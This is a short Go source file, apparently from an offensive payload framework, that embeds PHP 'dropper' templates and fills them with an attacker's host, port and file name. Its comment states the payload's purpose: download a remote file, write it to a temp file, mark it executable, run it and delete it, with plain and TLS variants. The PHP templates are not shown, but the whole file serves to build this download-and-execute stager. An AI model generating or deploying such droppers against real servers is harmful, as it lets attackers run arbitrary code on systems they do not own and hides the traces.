package dropper

import (
	_ "embed"
	"fmt"
)

var (
	//go:embed php/dropper.php
	PHPDropper string
	//go:embed php/dropper_secure.php
	PHPDropperSecure string
)

// Using PHP: download a remote file, write a tmp file, set it to executable, execute it, and delete it.
func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadFile string) string {
	if ssl {
		return fmt.Sprintf(PHPDropperSecure, lhost, lport, downloadFile)
	}

	return fmt.Sprintf(PHPDropper, lhost, lport, downloadFile)
}
